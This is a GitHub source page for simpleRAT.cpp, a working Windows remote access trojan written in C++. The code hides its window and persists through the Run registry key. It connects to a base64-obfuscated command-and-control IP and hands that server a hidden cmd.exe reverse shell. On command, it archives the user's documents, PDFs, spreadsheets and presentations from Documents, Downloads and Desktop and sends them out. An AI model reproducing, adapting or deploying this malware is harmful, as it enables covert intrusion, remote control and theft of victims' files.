-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsimpleRAT.cpp
395 lines (319 loc) · 11.8 KB
/
simpleRAT.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
#include "stdafx.h"
#pragma comment(lib, "wsock32.lib") // for winsock
#pragma warning(disable:4996)
#define PORT_NUMBER 16120
#define SOCKET_TIMEOUT 5
#define SIZE 100
char MY_MUTEX_NAME[11] = "MUTEX_NAME";
char* base64Decoder(char encoded[], int len_str)
{
char* decoded_string;
decoded_string = (char*)malloc(sizeof(char) * SIZE);
int i, j, k = 0;
// stores the bitstream.
int num = 0;
// count_bits stores current
// number of bits in num.
int count_bits = 0;
// selects 4 characters from
// encoded string at a time.
// find the position of each encoded
// character in char_set and stores in num.
for (i = 0; i < len_str; i += 4) {
num = 0, count_bits = 0;
for (j = 0; j < 4; j++) {
// make space for 6 bits.
if (encoded[i + j] != '=') {
num = num << 6;
count_bits += 6;
}
/* Finding the position of each encoded
character in char_set
and storing in "num", use OR
'|' operator to store bits.*/
// encoded[i + j] = 'E', 'E' - 'A' = 5
// 'E' has 5th position in char_set.
if (encoded[i + j] >= 'A' && encoded[i + j] <= 'Z')
num = num | (encoded[i + j] - 'A');
// encoded[i + j] = 'e', 'e' - 'a' = 5,
// 5 + 26 = 31, 'e' has 31st position in char_set.
else if (encoded[i + j] >= 'a' && encoded[i + j] <= 'z')
num = num | (encoded[i + j] - 'a' + 26);
// encoded[i + j] = '8', '8' - '0' = 8
// 8 + 52 = 60, '8' has 60th position in char_set.
else if (encoded[i + j] >= '0' && encoded[i + j] <= '9')
num = num | (encoded[i + j] - '0' + 52);
// '+' occurs in 62nd position in char_set.
else if (encoded[i + j] == '+')
num = num | 62;
// '/' occurs in 63rd position in char_set.
else if (encoded[i + j] == '/')
num = num | 63;
// ( str[i + j] == '=' ) remove 2 bits
// to delete appended bits during encoding.
else {
num = num >> 2;
count_bits -= 2;
}
}
while (count_bits != 0) {
count_bits -= 8;
// 255 in binary is 11111111
decoded_string[k++] = (num >> count_bits) & 255;
}
}
// place NULL character to mark end of string.
decoded_string[k] = '\0';
return decoded_string;
}
DWORD WINAPI SendFileToServer()
{
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi;
// fill info
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// hide process
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
// get document folder and string cat us
char userPath[1500] = "";
char rarPath[53] = "\"c:\\program files\\winrar\\rar.exe\" a UpdateFiles.zip ";
strcat(userPath, rarPath);
//================================== all file in documents folder =====================
char docPath[200] = " \"";
StrCatA(docPath, getenv("USERPROFILE"));
StrCatA(docPath, "\\documents\\*.docx\"");
// add userpath
StrCatA(userPath, docPath);
char docPath2[200] = " \"";
StrCatA(docPath2, getenv("USERPROFILE"));
StrCatA(docPath2, "\\documents\\*.pdf\"");
// add userpath
StrCatA(userPath, docPath2);
char docPath3[200] = " \"";
StrCatA(docPath3, getenv("USERPROFILE"));
StrCatA(docPath3, "\\documents\\*.xlsx\"");
// add userpath
StrCatA(userPath, docPath3);
char docPath4[200] = " \"";
StrCatA(docPath4, getenv("USERPROFILE"));
StrCatA(docPath4, "\\documents\\*.pptx\"");
// add userpath
StrCatA(userPath, docPath4);
//===================================== all file in download folder=====================
char downloadPath[200] = " \"";
StrCatA(downloadPath, getenv("USERPROFILE"));
StrCatA(downloadPath, "\\downloads\\*.docx\"");
// add userpath
StrCatA(userPath, downloadPath);
char downloadPath2[200] = " \"";
StrCatA(downloadPath2, getenv("USERPROFILE"));
StrCatA(downloadPath2, "\\downloads\\*.pdf\"");
StrCatA(userPath, downloadPath2);
char downloadPath3[200] = " \"";
StrCatA(downloadPath3, getenv("USERPROFILE"));
StrCatA(downloadPath3, "\\downloads\\*.xlsx\"");
StrCatA(userPath, downloadPath3);
char downloadPath4[200] = " \"";
StrCatA(downloadPath4, getenv("USERPROFILE"));
StrCatA(downloadPath4, "\\downloads\\*.pptx\"");
StrCatA(userPath, downloadPath4);
//=========================================destop folder=====================
char desktopPath[200] = " \"";
StrCatA(desktopPath, getenv("USERPROFILE"));
StrCatA(desktopPath, "\\desktop\\*.docx\"");
StrCatA(userPath, desktopPath);
char desktopPath2[200] = " \"";
StrCatA(desktopPath2, getenv("USERPROFILE"));
StrCatA(desktopPath2, "\\desktop\\*.pdf\"");
StrCatA(userPath, desktopPath2);
char desktopPath3[200] = " \"";
StrCatA(desktopPath3, getenv("USERPROFILE"));
StrCatA(desktopPath3, "\\desktop\\*.xlsx\"");
StrCatA(userPath, desktopPath3);
char desktopPath4[200] = " \"";
StrCatA(desktopPath4, getenv("USERPROFILE"));
StrCatA(desktopPath4, "\\desktop\\*.pptx\"");
StrCatA(userPath, desktopPath4);
//=================================== create command ==============================
// zip file
CreateProcessA(NULL, userPath, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
// close thread and process just create
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
Sleep(2000);
//============================================send file=======================================================
SOCKET sendFileSock;
SOCKADDR_IN sendFileSaddr;
WSADATA wsadata;
WSAStartup(MAKEWORD(1, 1), &wsadata); // use winsock v1
// setup socket
char enc_ip[21] = "MTkyLjE2OC4xOC4yMTg=";
//char enc_ip[21] = "MjA3LjQ2LjIyNi4xNTg=";
char* ip_address = base64Decoder(enc_ip, 21);
sendFileSock = socket(AF_INET, SOCK_STREAM, 0);
sendFileSaddr.sin_family = AF_INET;
sendFileSaddr.sin_port = htons(16121);
sendFileSaddr.sin_addr.s_addr = inet_addr(ip_address);
char fileZip[100] = "";
StrCatA(fileZip, getenv("TEMP"));
StrCatA(fileZip, "\\UpdateFiles.zip");
connect(sendFileSock, (struct sockaddr*) & sendFileSaddr, sizeof(sendFileSaddr));
FILE* fp = fopen(fileZip, "rb");
if (fp == NULL) {
return 0;
}
char sendbuf[100];
int b = 0;
while ((b = fread(sendbuf, 1, sizeof(sendbuf), fp)) > 0)
{
send(sendFileSock, sendbuf, b, 0);
}
fclose(fp);
closesocket(sendFileSock);
return 1;
}
int _tmain(int argc, _TCHAR* argv[])
{
//hide windows
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
HANDLE hMutex = CreateMutexA(NULL, FALSE, MY_MUTEX_NAME);
if (hMutex == NULL || GetLastError() == ERROR_ALREADY_EXISTS) {
return 0;
}
// ===================================persistence===================================================
// startup
HKEY hkey;
char pszPath[MAX_PATH] = "";
char pszPath2[MAX_PATH] = "";
//SHGetSpecialFolderPathA(0, pszPath, 50, 0);
GetTempPathA(MAX_PATH, pszPath);
StrCatA(pszPath2, pszPath);
StrCatA(pszPath2, "\cmd.exe");
int len = strlen(pszPath2);
if (RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, NULL) == ERROR_SUCCESS) {
// RegOpenKeyA(hkey, NULL, &hkey);
RegSetKeyValueA(hkey, NULL, "Command Prompt", REG_SZ, pszPath2, len);
RegCloseKey(hkey);
}
// ======================================connect C&C server===============================================
SOCKET localSock;
SOCKADDR_IN localSaddr;
WSADATA wsadata;
WSAStartup(MAKEWORD(1, 1), &wsadata); // use winsock v1
// setup socket
int port = PORT_NUMBER;
char enc_ip[21] = "MTkyLjE2OC4xOC4yMTg=";
//char enc_ip[21] = "MjA3LjQ2LjIyNi4xNTg=";
char* ip_address = base64Decoder(enc_ip, 21);
localSock = socket(AF_INET, SOCK_STREAM, 0);
localSaddr.sin_family = AF_INET;
//localSaddr.sin_port = htons(16121);
localSaddr.sin_addr.s_addr = inet_addr(ip_address);
localSock = socket(AF_INET, SOCK_STREAM, 0);
localSaddr.sin_port = htons(port);
char recvBuf[1024];
char sendBuf[1024];
HANDLE newstdin, newstdout, readout, writein = NULL; // the handle for our pipe
DWORD bytesRead, avail, bytesWritten;
// set up structs for CreateProcess
STARTUPINFO sinfo; // startupinfo structure for CreateProcess
PROCESS_INFORMATION pinfo; // process info struct needed for CreateProcess
ZeroMemory(&sinfo, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
ZeroMemory(&pinfo, sizeof(pinfo));
SECURITY_ATTRIBUTES secat; // security attributes structure needed for CreateProcess
secat.nLength = sizeof(SECURITY_ATTRIBUTES);
secat.lpSecurityDescriptor = NULL;
secat.bInheritHandle = TRUE;
GetStartupInfo(&sinfo); // fill startup struct
sinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
sinfo.wShowWindow = SW_HIDE; // hide command prompt on launch
SOCKET err_code;
char exit1[] = { 'e', 'x', 'i', 't', 10, 0 }; // need this to compare out com mand to 'exit'
char exit2[] = { 'E', 'X', 'I', 'T', 10, 0 };
char recvFileZip[] = { 'g', 'e', 't', 'f', 'i', 'l', 'e', 10, 0 }; // recv file UpdateFiles.zip
while (1) {
err_code = SOCKET_ERROR;
while (err_code == SOCKET_ERROR) {
localSock = socket(AF_INET, SOCK_STREAM, 0);
// connect socket with ip = 192.168.18.218 and port = 16120
err_code = connect(localSock, (struct sockaddr*) & localSaddr, sizeof(localSaddr));
}
// create the pipes for out command promt
CreatePipe(&newstdin, &writein, &secat, 0);
CreatePipe(&readout, &newstdout, &secat, 0);
sinfo.hStdOutput = newstdout; // redirect stdout
sinfo.hStdError = newstdout; // redirect stderr
sinfo.hStdInput = newstdin; // redirect stdin
// start cmd prompt
LPTSTR szCmdLine = _tcsdup(TEXT("C:\\Windows\\System32\\cmd.exe"));
char exitCmdProcess[5] = "exit";
if (CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &sinfo, &pinfo) == FALSE) {
goto closeup;
}
while (1)
{
if (send(localSock, sendBuf, strlen(sendBuf), 0) == SOCKET_ERROR) {
WriteFile(writein, exit1, strlen(exit1), &bytesWritten, NULL);
goto closeup;
}
bytesRead = 0;
// check if the pipe already contains something we can write to output
PeekNamedPipe(readout, sendBuf, sizeof(sendBuf), &bytesRead, &avail, NULL);
if (bytesRead != 0)
{
while (bytesRead != 0)
{
//read data from cmd.exe and send to server, then clear the buffer
ReadFile(readout, sendBuf, sizeof(sendBuf), &bytesRead, NULL);
if (send(localSock, sendBuf, strlen(sendBuf), 0) == SOCKET_ERROR) {
//cout << "Socket close\n";
goto closeup;
}
ZeroMemory(sendBuf, sizeof(sendBuf));
Sleep(100);
PeekNamedPipe(readout, sendBuf, sizeof(sendBuf), &bytesRead, &avail, NULL);
}
}
ZeroMemory(recvBuf, sizeof(recvBuf));
// receive the command given
if (recv(localSock, recvBuf, sizeof(recvBuf), 0) == SOCKET_ERROR) {
goto closeup;
}
// if command is 'recv' then send file zip to server
if ((strcmp(recvBuf, recvFileZip) == 0))
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SendFileToServer, 0, 0, NULL);
goto next;
}
// if command is 'exit' then we have to capture it to prevent our program from hanging
if ((strcmp(recvBuf, exit1) == 0) || (strcmp(recvBuf, exit2) == 0))
{
// let cmd.exe close by giving the command, then go to closeup label
WriteFile(writein, recvBuf, strlen(recvBuf), &bytesWritten, NULL);
goto closeup;
}
// else write the command to cmd.exe
WriteFile(writein, recvBuf, strlen(recvBuf), &bytesWritten, NULL);
// clear recvBuf
next:
ZeroMemory(recvBuf, sizeof(recvBuf));
}
// close up all handles and the socket
closeup:
CloseHandle(writein);
CloseHandle(readout);
CloseHandle(newstdout);
CloseHandle(newstdin);
CloseHandle(pinfo.hThread);
CloseHandle(pinfo.hProcess);
closesocket(localSock);
Sleep(3000);
}
CloseHandle(hMutex);
return 0;
}